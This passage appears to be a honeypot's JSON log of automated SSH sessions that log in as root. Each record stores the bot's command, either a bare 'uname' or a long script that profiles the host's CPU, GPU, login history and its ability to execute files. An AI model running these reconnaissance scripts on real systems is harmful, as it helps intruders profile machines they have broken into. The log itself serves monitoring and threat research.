'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:09:08.060274+00:00",
  "ended_at": "2026-08-25T02:09:08.446413+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "5f7f2744-de3a-48ac-b669-db691d0e6a13",
  "name": "grumpy-daring-godwit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 54110,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 203,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:08:57.197846+00:00",
  "ended_at": "2026-08-25T02:09:03.216525+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1f1c25c5-2d0f-4331-a519-a70c1970c97a",
  "name": "quartz-shaded-macaw",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 56930,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 219,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:08:45.996881+00:00",
  "ended_at": "2026-08-25T02:08:51.998028+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "41e0e101-3168-46cc-8aa2-f36c6f2e7573",
  "name": "bashful-russet-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 40082,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:08:19.345526+00:00",
  "ended_at": "2026-08-25T02:08:20.099232+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "01ba56fe-1b6f-4e0f-b1f1-d0271a5522bf",
  "name": "fierce-scarlet-narwhal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 39678,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 222,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:08:04.990751+00:00",
  "ended_at": "2026-08-25T02:08:11.000967+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c31d35c0-56d6-491b-8339-929dab996262",
  "name": "rustic-zealous-galago",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 38456,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:07:27.365874+00:00",
  "ended_at": "2026-08-25T02:07:27.800589+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "74328c76-808c-45a9-b344-447c4cc42fdd",
  "name": "knotted-sooty-marmot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 48246,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 211,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:06:39.794388+00:00",
  "ended_at": "2026-08-25T02:06:42.728956+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ef6b3f86-6b01-4a59-a52a-3fe828c796fe",
  "name": "plush-rambling-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 36840,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:06:36.786181+00:00",
  "ended_at": "2026-08-25T02:06:37.831073+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "d2279881-58f2-4dd1-8991-1ee66122e892",
  "name": "golden-sullen-crossbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 47080,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 184,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:05:53.030878+00:00",
  "ended_at": "2026-08-25T02:05:56.237897+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "191e6109-775f-4c30-a0d9-89de623938a2",
  "name": "distant-kindly-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 35190,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:05:45.908392+00:00",
  "ended_at": "2026-08-25T02:05:46.741796+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "4817ff0c-ecae-408c-994b-832c81d45cd6",
  "name": "glacial-russet-zebu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 42630,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 221,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:05:39.205189+00:00",
  "ended_at": "2026-08-25T02:05:44.220014+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e2816e21-72eb-4d0c-92f1-de8e37740550",
  "name": "eager-loyal-meerkat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 33560,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:04:55.177365+00:00",
  "ended_at": "2026-08-25T02:04:55.582185+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "3ebba3a8-a966-4b3d-96cd-de42866a0f32",
  "name": "ginger-ashen-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 48208,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 226,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:04:43.704211+00:00",
  "ended_at": "2026-08-25T02:04:48.109462+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a8f679cd-1679-45d5-8f09-e86352009dd8",
  "name": "sturdy-breezy-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 42232,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 204,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:04:35.306538+00:00",
  "ended_at": "2026-08-25T02:04:38.330611+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7cde876c-49b6-4058-b981-06dc4735ad27",
  "name": "hazy-sooty-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 33322,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 226,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:04:11.100018+00:00",
  "ended_at": "2026-08-25T02:04:16.905016+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
